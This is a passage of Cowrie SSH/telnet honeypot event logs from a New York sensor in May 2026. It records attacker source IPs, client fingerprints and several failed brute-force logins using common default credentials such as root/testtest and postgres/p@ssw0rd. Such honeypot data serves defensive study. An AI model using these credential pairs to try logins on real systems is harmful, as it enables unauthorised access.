ellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:14.139578Z","src_ip":"103.125.103.201","session":"b51d6fddb55d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing123","password":"testing123","message":"login attempt [testing123/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:15.122314Z","src_ip":"103.125.103.201","session":"b51d6fddb55d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":34956,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a63f6895bf6","protocol":"ssh","message":"New connection: 43.173.69.147:34956 (159.203.135.109:22) [session: 8a63f6895bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:15.456063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:15.461199Z","src_ip":"43.173.69.147","session":"8a63f6895bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:15.529189Z","src_ip":"43.173.69.147","session":"8a63f6895bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"abc123","message":"login attempt [webadmin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:15.836829Z","src_ip":"43.173.69.147","session":"8a63f6895bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:16.363057Z","src_ip":"103.125.103.201","session":"b51d6fddb55d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:16.908469Z","src_ip":"43.173.69.147","session":"8a63f6895bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.290455341339111,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:18.883038Z","src_ip":"188.50.54.127","session":"7c90b8574334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":34302,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d5b6e175e0a","protocol":"telnet","message":"New connection: 66.132.172.218:34302 (10.17.0.5:23) [session: 4d5b6e175e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:22.154487Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":59438,"dst_ip":"159.203.135.109","dst_port":22,"session":"71af67579e9a","protocol":"ssh","message":"New connection: 201.6.100.191:59438 (159.203.135.109:22) [session: 71af67579e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:25.322402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:25.327348Z","src_ip":"201.6.100.191","session":"71af67579e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:25.457504Z","src_ip":"201.6.100.191","session":"71af67579e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testtest","message":"login attempt [root/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:26.024843Z","src_ip":"201.6.100.191","session":"71af67579e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:27.160053Z","src_ip":"201.6.100.191","session":"71af67579e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47424,"dst_ip":"159.203.135.109","dst_port":23,"session":"364a7928d54b","protocol":"telnet","message":"New connection: 135.148.33.91:47424 (159.203.135.109:23) [session: 364a7928d54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:27.588653Z"}
{"eventid":"cowrie.session.closed","duration":15.082550048828125,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:37.236921Z","src_ip":"66.132.172.218","session":"4d5b6e175e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":18294,"dst_ip":"10.17.0.5","dst_port":23,"session":"c02b7afb039f","protocol":"telnet","message":"New connection: 66.132.172.218:18294 (10.17.0.5:23) [session: c02b7afb039f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:40.515563Z"}
{"eventid":"cowrie.session.closed","duration":3.038414716720581,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:43.553850Z","src_ip":"66.132.172.218","session":"c02b7afb039f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":18378,"dst_ip":"10.17.0.5","dst_port":23,"session":"760d41a61cab","protocol":"telnet","message":"New connection: 66.132.172.218:18378 (10.17.0.5:23) [session: 760d41a61cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:46.730570Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":58688,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ebe962fbe13","protocol":"ssh","message":"New connection: 181.97.227.163:58688 (10.17.0.5:22) [session: 9ebe962fbe13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:48.834219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:48.838699Z","src_ip":"181.97.227.163","session":"9ebe962fbe13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:49.045681Z","src_ip":"181.97.227.163","session":"9ebe962fbe13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Admin123","message":"login attempt [test/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:49.907436Z","src_ip":"181.97.227.163","session":"9ebe962fbe13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:51.117936Z","src_ip":"181.97.227.163","session":"9ebe962fbe13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.07676100730896,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:56.807223Z","src_ip":"66.132.172.218","session":"760d41a61cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":57618,"dst_ip":"159.203.135.109","dst_port":22,"session":"d162b431587d","protocol":"ssh","message":"New connection: 103.158.40.65:57618 (159.203.135.109:22) [session: d162b431587d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:59.218426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:59.223145Z","src_ip":"103.158.40.65","session":"d162b431587d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:59.447585Z","src_ip":"103.158.40.65","session":"d162b431587d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"P@ssw0rd","message":"login attempt [kafka/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:00.365903Z","src_ip":"103.158.40.65","session":"d162b431587d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:01.593108Z","src_ip":"103.158.40.65","session":"d162b431587d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.58318042755127,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:04.171691Z","src_ip":"135.148.33.91","session":"364a7928d54b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39492,"dst_ip":"10.17.0.5","dst_port":22,"session":"e961a3f8461b","protocol":"ssh","message":"New connection: 103.125.103.201:39492 (10.17.0.5:22) [session: e961a3f8461b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:11.146871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:11.151948Z","src_ip":"103.125.103.201","session":"e961a3f8461b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:11.397787Z","src_ip":"103.125.103.201","session":"e961a3f8461b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Zxc12345","message":"login attempt [ubuntu/Zxc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:12.417202Z","src_ip":"103.125.103.201","session":"e961a3f8461b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:13.665589Z","src_ip":"103.125.103.201","session":"e961a3f8461b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":8578,"dst_ip":"159.203.135.109","dst_port":22,"session":"053fddfae7e1","protocol":"ssh","message":"New connection: 131.161.219.137:8578 (159.203.135.109:22) [session: 053fddfae7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:18.190864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:18.195894Z","src_ip":"131.161.219.137","session":"053fddfae7e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:18.334656Z","src_ip":"131.161.219.137","session":"053fddfae7e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"p@ssw0rd","message":"login attempt [postgres/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:18.879629Z","src_ip":"131.161.219.137","session":"053fddfae7e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:20.011747Z","src_ip":"131.161.219.137","session":"053fddfae7e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.43.109.144","src_port":49098,"dst_ip":"10.17.0.5","dst_port":23,"session":"3797e5688b76","protocol":"telnet","message":"New connection: 179.43.109.144:49098 (10.17.0.5:23) [session: 3797e5688b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:22.536282Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":47820,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcd8ed9b8552","protocol":"ssh","message":"New connection: 154.81.14.172:47820 (10.17.0.5:22) [session: bcd8ed9b8552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:22.808712Z"}
{"eventid":"cowrie.session.closed","duration":13.084784984588623,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:35.620947Z","src_ip":"179.43.109.144","session":"3797e5688b76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:36.380821Z","src_ip":"14.103.114.231","session":"e705183dfa02","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:37.412898Z","src_ip":"154.81.14.172","session":"bcd8ed9b8552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:37.417477Z","src_ip":"154.81.14.172","session":"bcd8ed9b8552","protocol":"ssh"}
